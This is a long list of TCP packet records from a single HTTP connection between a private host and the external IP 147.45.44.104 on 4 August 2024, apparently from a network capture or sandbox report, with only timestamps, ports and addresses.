Aug 4, 2024 02:21:38.733531952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733562946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733571053 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733596087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733599901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733628035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733639002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733659983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733670950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733692884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733699083 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733725071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733731985 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733757019 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733764887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733788967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733798027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733820915 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733841896 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733858109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733871937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733905077 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733916044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733936071 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733943939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.733969927 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.733982086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734009027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734020948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734052896 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734057903 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734082937 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734091043 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734114885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734122992 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734146118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734154940 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734179020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734189034 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734210968 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734245062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734251976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734286070 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734405994 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734436989 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734451056 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734467983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734483004 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734499931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734508991 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734533072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734541893 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734564066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734571934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734599113 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734602928 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734637022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734731913 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734762907 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734776020 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734795094 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734801054 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734826088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734841108 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734913111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734922886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734944105 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734955072 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.734977007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.734986067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735004902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735023022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735037088 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735065937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735069036 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735085964 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735100985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735109091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735141039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735151052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735184908 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735218048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735229969 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735249996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735263109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735280037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735289097 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735311985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735321999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735349894 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735358953 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735382080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735414982 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735429049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735449076 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735465050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735486984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735613108 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735654116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735661030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735694885 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735704899 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735726118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735759020 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735778093 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735790014 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735809088 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735822916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735831022 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735855103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735862970 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735888004 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735893965 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735918999 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735927105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735951900 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735956907 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.735984087 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.735989094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736016035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736044884 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736056089 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736077070 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736083984 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736109018 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736123085 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736140966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736149073 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736175060 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736179113 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736207008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736213923 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736238956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736243963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736272097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736304045 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736320019 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736351967 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736419916 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736452103 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736496925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736500025 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736531973 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736538887 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736562967 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736572027 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736597061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736609936 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736634016 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736660957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.736676931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.736700058 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782072067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782114029 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782131910 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782157898 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782174110 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782208920 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782243013 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782254934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782278061 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782288074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782310009 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782320976 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782346010 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.782357931 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.782392025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.828969002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829035044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829046011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829080105 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829091072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829149961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829154968 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829196930 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829202890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829236984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829248905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829269886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829277039 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829302073 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829313993 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829345942 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829354048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829385996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829400063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829432011 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829437971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829468966 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829480886 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829503059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829511881 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829535961 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829551935 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829569101 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829580069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829602957 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829615116 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829639912 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829647064 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829673052 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829705000 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829713106 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829731941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829737902 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829749107 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829777002 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829808950 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829822063 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829843044 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829852104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829875946 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829886913 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829909086 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829921007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829942942 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829952955 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.829974890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.829987049 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830008030 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830019951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830044985 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830053091 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830077887 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830091000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830111027 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830121994 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830143929 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830152988 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830177069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830190897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830210924 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830230951 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830243111 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830255032 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830276012 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830286980 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830310106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830321074 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830343008 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830353975 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830384016 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830394983 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830426931 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830440044 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830459118 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830472946 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830491066 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830503941 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830535889 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830543995 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830576897 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830590963 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830610037 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830620050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830642939 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830657005 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830676079 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830688000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830712080 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830720901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830749035 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830760002 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830782890 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830795050 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830816984 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830828905 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830849886 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830862999 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830882072 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830892086 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830913067 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830928087 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830948114 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830954075 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.830980062 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.830992937 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831012964 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831024885 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831046104 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831058025 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831082106 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831106901 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831124067 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831191063 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831238031 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831240892 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831274033 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831285000 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831305981 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831319094 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831338882 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831352949 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831371069 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831384897 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831403971 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831417084 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831435919 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831450939 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831469059 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831481934 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831501007 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831511974 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831533909 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831543922 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831568956 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831582069 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831603050 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831615925 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831635952 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831646919 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831669092 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831680059 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831702948 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831713915 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831742048 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831748009 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831773996 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831787109 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831806898 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831818104 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831840038 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831851959 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831872940 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831887007 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831904888 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831918001 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831939936 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.831960917 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.831985950 CEST	49757	80	192.168.2.4	147.45.44.104
Aug 4, 2024 02:21:38.832024097 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832057953 CEST	80	49757	147.45.44.104	192.168.2.4
Aug 4, 2024 02:21:38.832072020 CEST	49757	80	192.168.2.4	147.45.44.104
